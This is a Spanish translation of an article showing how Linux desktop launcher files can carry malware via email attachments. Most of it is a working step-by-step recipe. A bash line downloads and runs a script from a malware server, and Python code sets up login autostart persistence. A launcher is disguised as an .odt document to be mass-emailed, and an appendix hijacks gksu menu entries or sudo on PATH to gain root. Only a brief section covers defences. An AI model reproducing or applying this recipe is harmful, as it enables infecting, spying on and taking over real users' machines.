Un problema que no estamos encarando es que el comando que puede ser ejecutado por el lanzador realmente es sólo una línea y sólo un comando. Es un poco enreversado instalar malware con sólo un único comando. O no? Mira esto:

% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

¿Qué hace este comando? Ejecuta bash, un interprete de órdenes (parte de cualquier instalación por defecto), y le pasa como argumento la ristra con dos comandos sencillos, que bash ejecutará. El primer comando (curl) descarga un script de algun servidor de malware que hayas puesto en marcha y luego almacena el script en algún lugar que sepamos que podemos escribir (el directorio /tmp). Nótese que en algunos sistemas (Ubuntu, por ejemplo) no tienes curl, pero sí algun comando similar como wget. Eso complica un poco el comando actual, pero no es un problema insalvable, como se muestra en la guía paso a paso más adelante. El segundo comando (la llamada al intérprete de Python) ejecuta el recién script descargado (en el ejemplo es un script en Python). Ambos Python y curl (o wget) son componentes típicos de la mayoría de instalaciones por defecto de distros Linux.

Si ponemos esto en la línea de ejecución de la definición del lanzador entonces un simple click en el lanzador permitirá la ejecución del comando, que realmente ejecutado dos, que permitirán la descarga y ejecución de un script arbitrario tan complejo como se quiera. Todo sin necesidad de que el bit de ejecución esté activo.

No necesitas ser root para hackear (NdT: own es usado en la jerga hacker tal cual, junto con otras palabras como defaced, etc...) a alguien

Nada de eso requiere privilegios de root. Y ahora nuestro script puede hacer lo que quiera dentro de los confines de la cuenta del usuario. Puede estar limitado, pero eso no previene la posibilidad de hacer una cantidad significativa de daño.

Por ejemplo, puede robar el libro de direcciones del usuario para recolectar direcciones de correo y enviarlos a nuestro servidor de malware, comenzar a enviar spam o difundirse a si mismo por email. Puede isntalar una extensión para Firefox que captura contraseñas cuando el usuario las escribe. Puede compartir el escritorio via VNC sin conocimiento del usuario. Puede arrancar un demonio que haga saltar pop ups de anuncios. ¡Adware de Linux!

Todo esto es ejecutado como un proceso normal del usuario. En verdad, en un sistema de escritorio que normalmente es usado por un único usuario, tener la cuenta de ese usuario es muy parecido a tener la cuenta de root, en lo que se refiere a hacer daño: Todas las acciones que te interesen serán llevadas a cabo en la cuenta del usuario.

¿Pero quizás realmente quieras ser root para tu malware?. Bien, también hay una forma de conseguirlo, pero no está garantizado que funcione en todos los casos y francamente no es necesaria para infectar a una máquina. Para no distraernos de los puntos importantes de este artículo, tengo una discusión sobre ello en el apéndice.

Autoarranque después del reinicio

Pero seguramente, incluso si el usuario no es capaz de encontrar el proceso ejecutándose y matarlo simplemente un reinicio lo parará, ¿verdad? Claro, son necesarios privilegios de root para que nuestro malware sea ejecutado automáticamente en caso de que el sistema se reinicio ¿cierto?.

Pues no. Los usuarios no necesitan privilegios de root para configurar ciertas aplicaciones para autolanzarse cuando entran en sus propias sesiones. Eso es porque sólo realizan cambios sobres sus probpias cuentas de usuario, no en el sistema que subyace. De nuevo, cualquier aplicación ejecutada como parte de la sesión de usuario sólo correrá con el nivel privilegios de ese usuario, pero como hemos visto, ésto no es un gran problema. Muchas cosas interesantes se pueden hacer incluso así.

Encontes, ¿cómo hacemos nosotros mismos para auto ejecutarnos cuando el usuario entra en el sistema? Hay un montón de scripts que se ejecutan cuando ejecutas un intérprete de órdenes, pero un usuario que hace click sobre un adjunto sospechoso no suele ejecutar un intérprete de órdenes muy a menudo a fin de cuentas. Afortunadamente, los entornos de escritorio modernos tiene su propio conjunto de comandos que autoejecutan en el login (NdT: ya está bien de traducirlo jejeje). En el caso de Gnome, echa un vistazo a lo que hay en ~/.config/autostart (puede que este directorio aún no exista, si aún no has configurado ninguna aplicación para que se autoejecute). ¡Sí! ¡Más lanzadores! Esos son ejecutados cada vez que el usuario se logea en Gnome. Para KDE es incluso mas simple: Sólo enlaza ha tu ejecutable desde la carpeta ~/.kde/Autostart.

¡Nuestro malware entonces sólo necesita crear una entrada apropiada en esas carpetas y se ejecutará cuando el usuario se logée!

Y eso es todo lo que hay. Dejo la escritura del script de malware como un ejercicio para el lector (NdT: El traductor tampoco va a enseñarlo, pero esto es obscenamente sencillo, de hecho, todo esto es muy muy simplón).

Guía compacta paso a paso

Bien, aquí está el sumario, que también se complementa con algunos detalles más específicos:

1. Escribe una pieza de malware a tu elección. ¿Quizás un script en Python? Buen lenguaje, código eficiente, preinstalado en la mayoría de distros Linux y con una biblioteca estandar poderosa (por ejemplo, biblioteca para envío de peticiones HTTP y manejo de SMTP son parte de la mayoría de instalaciones estandar). Coloca ese malware en algún servidor web
   
   
2. Tu malware necesita la habilidad de instalar un lanzador por si mismo para que se ejecute cuando el usuario se logée. Como ya se dijo, para Gnome eso significa crear una descripción del lanzador en la carpeta ~/.config/autostart. Para KDE simplemente enlazar tu ejecutable desde la carpeta ~/.kde/Autostart. Puedes hacer que el malware simplemente fuerce a copiar o enlazar en ambas localizaciones (creando los directorios si no existían) o puede ser un poco más listo y elegir la opción correcta basándose en el entorno de escritorio que detecte.
   
   Por ejemplo, para crear el acceso directo para KDE, todo lo que necesitas escribir en Python es:
   
   import os
   uname = os.getlogin()
   drop_dir = “/home/%s/.kde/Autostart” % uname)
   os.makedirs(drop_dir)
   os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")
   
   Para Gnome el script en Python necesitaría escribir un lanzador en el directorio apropiado:
   
   import os
   relauncher_str = """
   [Desktop Entry]
   Type=Application
   Name=Malware
   Exec=python .local/.hidden/s.py
   Icon=system-run
   """
   uname = os.getlogin()
   drop_dir = “/home/%s/.config/autostart” % uname
   os.makedirs(drop_dir)
   f = open(drop_dir+”/Malware.desktop”, “w”)
   f.write(relauncher_str)
   f.close()
   
   Escribir estas entradas de autoejecución es probablemente una de las primeras acciones que tu malware deba llevar a cabo.
   
   
3. Ahora creamos un lanzador para el instalador del malware, que es un poco diferente al lanzador que usamos para reiniciar el malware después de un reinicio. El lanzador para el instalador es lo que enviamos como adjunto en el email al usuario objetivo. Es lo que el usuario clickea después de guardarlo. Prueba algo como esto:
   
   [Desktop Entry]
   Type=Application
   Name=some_text.odt
   Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
   DROP=~/.local/.hidden ;
   mkdir -p $DROP;
   if [ -e /usr/bin/wget ] ;
   then wget $URL -O $DROP/s.py ;
   else curl $URL -o $DROP/s.py ; fi;
   python $DROP/s.py'
   Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
   
   Nótese que hemos especificado un nombre que aparenta no hacer daño e incluso elegido un icono que le hace parecer un documento normal (ese icono en particular está presente en Ubuntu (Gnome) y Kubuntu (KDE), pero no en Fedora). Si dices enviar fotos de desnudos en el email, sólo dale un nombre que aparente ser una imagen (algo con .jpg al final) y elige un icono estandar apropiado para imagenes.
   
   La línea de Exec es un poco más larga ahora, porque tenemos que tener en cuenta la posibilidad de que wget o curl estén instalados. Por ejemplo, sistemas Ubuntu suelen tener wget, mientras Fedora viene con curl. Pasamos el comando apropiado a bash para comprobar cual está presente y entonces llamar al comando correcto para descargar el malware. No soy un experto en bash, así que puede que haya una manera mucho mas eficiente de hacer esto. Pero pillais la idea. También en esa línea estamos creando una buena localización para el script ($DROP), que no es inmediatamente obvia. El comando mkdir con la opción -p creará silenciosamente tanto directorios padres como sean necesarios. El directorio objetivo está en el home del usuario, escondido en algún inocente directorio que aparente ser local y sólo se verá cuando se muestren archivos ocultos. El directorio /tmp por supuesto no es un buen sitio para nuestro malware, puesto que se borra con cada reinicio.
   
   
   Guarda este lanzador bajo el nombre que especificastes en la línea Name, pero añade '.desktop' al final del nombre actual. En nuestro caso salvaremos el archivo como 'some_text.odt.desktop'. Cuando lo coloques en el escritorio verás que Gnome o KDE lo tratan de manera especial, sin enseñar la extensión '.desktop'. Así el fichero aparentará ser 'some_text.odt'. Por supuesto, eso también significa que el adjunto al correo tendrá esta extensión también. Algunos usuarios se darán cuenta, otros no.
   
   
4. Adjunta este fichero a un email, que apunte al receptor que guardará y abrirá el adjunto. Como se explicó, una vez esté guardado aparecerá como 'some_text.odt' en el escritorio del usuario. Y con el icono que hemos elegido en la descripción del lanzador aparentará no ser dañino.
   
   
5. Envía el email a tantas direcciones de email como tengas.
   

¡Tachán! (NdT: Tenía que traducirlo xD). Un virus para Linux en 5 simples pasos. Cada usuario que guarde y abra el adjunto que enviastes se infectará con el script de malware que elegistes que también es reiniciado cuando el usuario se logea.

Fue fácil, ¿no?

Soluciones para el problema

El solución más fácil para prevenir este tipo de problemas es simplemente no clickar ciegamente en adjuntos que la gente te envía. ¿Suena como una frase que has oido en el contexto de Windows antes? Puedes apostar. El kit es: Incluso en Linux este aviso debería ser tomado en serio.

Una acción que puede ser tomada por los desarrolladores de Gnome y KDE: Hacer que los lanzadores requieran los permisos de ejecución. Un archivo adjunto guardado no los tendrá. Más aún, a pesar de que un lanzador sintácticamente correcto y apropiadamente nombrado sea dejado en el escritorio un usuario no puede hacer click en él y ejecutar si el bit de ejecución no esta activo.

Tercero, dejar de perpetuar el mito de que el malware y los virus son sólo problema de Windows. Linux es - en principio - tan vulnerable, por supuesto. Incluso así, los usuarios no trabajan con privilegios de root, si inadvertiamente ejecutan una pequeña parte de malware entonces mucho daño y autoejecuciones se pueden seguir haciendo. El simple hecho de que un archivo adjunto no correrá como root NO es suficiente protección contra la mayoría de cosas, como hemos visto. El hecho de que los archivos adjuntos no son guardados con los bits de ejecución NO es tampoco protección suficiente, debido a que los entornos de escritorio modernos te permiten maniobrar cuidadosamente alrededor de ésto.

Ahora mismo, el limitado mercado de Linux en los sitemas de escritorio proporciona cierta protección. La arquitectura de seguridad ofrece un poco más de protección. Pero nada de esto está a prueba de idiotas. Y con despliegues de Linux en sitios interesantes - tales como organizaciones gubernamentales - esas instalaciones también se vuelven interesantes objetivos para autores de malware.

Thunar?

Es interesante, el administrador de ficheros Thunar, sobre xfce (Xubuntu 8.10) hace algo que los administradores de ficheros de Gnome y KDE no hacen. Marca el archivo lanzador como malware potencial y previene la ejecución mediante un simple click. Trabaja donde los archivos adjuntos son guardados desde Thunderbird o desde un cliente de correo web como Yahoo Mail. ¿Alguien conoce qué hace concretamente Thunar para concluir si es 'malware'?

A pesar de todo, he comprobado que funciona con las recientes Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Debido a que todo ésto está basado en funcionalidades de Gnome y KDE, asumo que la mayoría de distribuciones que utilicen esos escritorios son vulnerables también.

Bootnote (NdT: No se como traducirlo exactamente pero se sobreentiende)

Hace algún tiempo había un reto orientado a escribir un virus que pudiera infectar un sistema de escritorio de Linux. El reto original contenía dos advertencias importantes, a saber: Primero, tenía que ser capaz de infectar la máquina que escribió el reto. Nada más se sabía de esa máquina. Por ejemplo, no sabíamos que escritorio estaba usando. Segundo, el virus debía poder escribir un fichero en el directorio/etc, que sólo suele tener acceso para el root.

Yo diría de un virus para Linux que si es capaz de infectar instalaciones estandar de algunas distros populares es exitoso. Se que la aproximación que estoy sugiriendo puede infectar instalaciones estandar de Ubuntu, Kubuntu y Fedora por ejemplo.

Segundo, como remarqué arriba, conseguir privilegios de root no es necesario para infectar un ordenador con Linux con éxito. Es más interesante la cuenta del usuario que es infectado, ¿no? De todas formas, si hablamos sobre ordenadores de escritorio, en la mayoría de casos sólo va a haber un usuario. La distinción entre infectar un sistema (como root) o una cuenta de usuario (como el usuario) es como mucho académica. Debido a que una infectión tiene el mismo efecto que decir "la máquina está infectada". Después de todo, el usuario la mayoría de las veces se logeará y el malware se ejecutará en cualquier caso. Da igual, me puse en contacto con el autor de este reto y le expliqué la situación. Insistió en las reglas originales de este reto. Es justo, es su reto y por lo tanto sus reglas.

¿Pues bien, y qué si realmente quieres ser root?

Apéndice: Consiguiendo ser root

Conseguir privilegios de root es considerado siempre un poco como conseguir el santo grial de comprometer otra máquina. Como hemos visto, no conseguirlo no siempre te previene de pasar un buen rato con un virus. Pero ya para rematar la faena, déjenme mostrar una forma para que tu malware consiga ser root. Puede haber otras formas, pero ésta es la que yo hago por ahora.

Puedes ver, incluso en Linux de escritorio normales, los usuarios hacen cosas como root. En el caso de Ubuntu por ejemplo usarás 'sudo' (o el equivalente gráfico gksu) de vez en cuando para realizar cierta administración del sistema. Quizás para administrar usuarios, cambiar la hora o para instalar nuevo software. Muchas cosas en el menú Sistema -> Administración te pedirán tu contraseña por ese motivo. Por defecto, el usuario de un sistema de escritorio Ubuntu tiende a estar en el grupo 'admin', el cual está mencionado en /etc/sudoers. Así que, dando tu contraseña puedes realizar tareas con privilegios de root.

Ahora bien, ¿cómo podemos obtener ventaja de ésto? Tiene que ocurrir que las cosas del menú de tu Gnome están configuradas individualmente en algún lado. ¿Quizás podamos hackear eso de forma que en vez de synaptic (el administrador gráfico de paquetes) o cualquier otra utilidad que corra con sudo or gksu, nuestro bonito malware sea ejecutado? ¿Después de que el usuario dé su contraseña para sudo? Pero las cosas del menú están definidas en un lugar al que sólo se puede tener acceso de escritora como root. Echa un vistazo a /usr/share/applications. Ahí puedes encontrar - otra vez - un gran número de lanzadores. Estos están definiendo varias cosas del menú. Por ejemplo, echa un vistazo a synaptic.desktop. Puedes ver que contiene la siguiente línea:

Exec=gksu /usr/sbin/synaptic

Sí, ¿y si pudiéramos ir y editar eso? Si nuestro malware pudiera ir ahí y cambiarlo a esto:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

Eso ejecutaría nuestro malware con privilegios de root. Nótese de que silenciosamente pasamos el nombre original del ejecutable (/usr/sbin/synaptics) a nuestro malware, de forma que pueda arrancar synaptics después de que se dé a si mismo privilegios de root de forma permanente o de hacer lo que quiera como root. De esa forma el usuario no sospechará.

Pero, no podemos editar ese fichero. ¿Sin suerte otra vez? Afortunadamente no. Gnome es suficientemente amable como para mirar si tenemos definiciones locales de alguno de esos ficheros desktop, que sobreescribirá los ajustes del sistema. Esos van en ~/.local/share/applications. Así que simplemente puedes hacer una copia de synaptic.desktop de /usr/share/applications a ~/.local/share/applications y los cambios que quieras en él. Entonces sólo tienes que sentarte y esperar por la siguiente vez que el usuario ejecute synaptics y ya está.

Por supesto, no tienes por qué limitarte a synaptics. Para tener mejores posibilidades de ser ejecutado con privilegios de root cualquiera de las applicaciones en el menú de administración que requieran gksu son buenas. Y francamente, probablemente podrás hacer cambios parecidos e introducir gksu a muchas de las aplicaciones en en Sistema -> Preferencias. Como usuario de Ubuntu, tendrás que dar tu contraseña a gksu de vez en cuando. Si el usuario no presta atención, no se dará ni cuenta de que se le ha pedido la contraseña por una utilidad que nunca antes la había pedido.

Y para aquellos usuarios a los que les gusta usar el terminal (traductor presente): Bueno, en ese caso el malware simplemente liar un poco tu definición del path y colocar una versión 'tuneada' del comando sudo en tu path, que será ejecutado cada vez que escribas 'sudo'.

Como puedes ver, esto no te puede garantizar hacerte root (si el usuario nunca utiliza esos programas), pero tienes muchas posibilidades de conseguirlo si eres paciente.

Actualizado, Feb 12, 2009: Me resultaría sorprendente si yo fuera la primera persona que piensa en esta vulnerabilidad. Mirando un poco en Internet, no he podido encontrar referencias a ésto. El editor de LWN.net (NdT: Linux Week New, revista muy popular de Linux donde trabaja algún que otro desarrollador del núcleo incluso) hizo un mejor trabajo. Como señala aquí ha habido debates sobre las vulnerabilidades introducidas por los ficheros .descktop desde 2006.

Espero que esta traducción sirva de ayuda para la comunidad de hackers de habla hispana.

Soy consciente de que hay varias faltas de ortografía (algunas las he visto yo mismo y otras sé que no las habré visto), e incluso también me doy por enterado de que en ciertas partes la traducción deja bastante que desear, pero creo que llega a las espectativas de alguien que quisiera ver este documento en español.

Happy hacking! ;)